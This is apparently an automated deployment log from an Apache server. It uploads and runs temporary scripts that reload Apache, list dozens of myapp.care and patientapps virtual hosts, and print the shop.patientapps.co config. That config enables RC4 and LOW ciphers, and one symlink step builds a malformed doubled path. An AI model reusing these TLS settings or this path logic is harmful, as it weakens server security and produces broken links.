        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi


2025-10-03 22:13:25: 

chmod 755 /tmp/pkp392043; /tmp/pkp392043; rm /tmp/pkp392043

2025-10-03 22:13:25: 




2025-10-03 22:13:25: 

PUT: /tmp/pkp614814

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-03 22:13:25: 

chmod 755 /tmp/pkp614814; /tmp/pkp614814; rm /tmp/pkp614814

2025-10-03 22:13:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-03 22:13:25: Establishing a connection
2025-10-03 22:13:25: 

PUT: /tmp/pkp970794

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-03 22:13:25: 

chmod 755 /tmp/pkp970794; /tmp/pkp970794; rm /tmp/pkp970794

2025-10-03 22:13:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-03 22:13:25: 

PUT: /tmp/pkp461146

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 22:13:25: 

chmod 755 /tmp/pkp461146; /tmp/pkp461146; rm /tmp/pkp461146

2025-10-03 22:13:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf	1360

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>







2025-10-03 22:13:25: 

PUT: /tmp/pkp162414

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
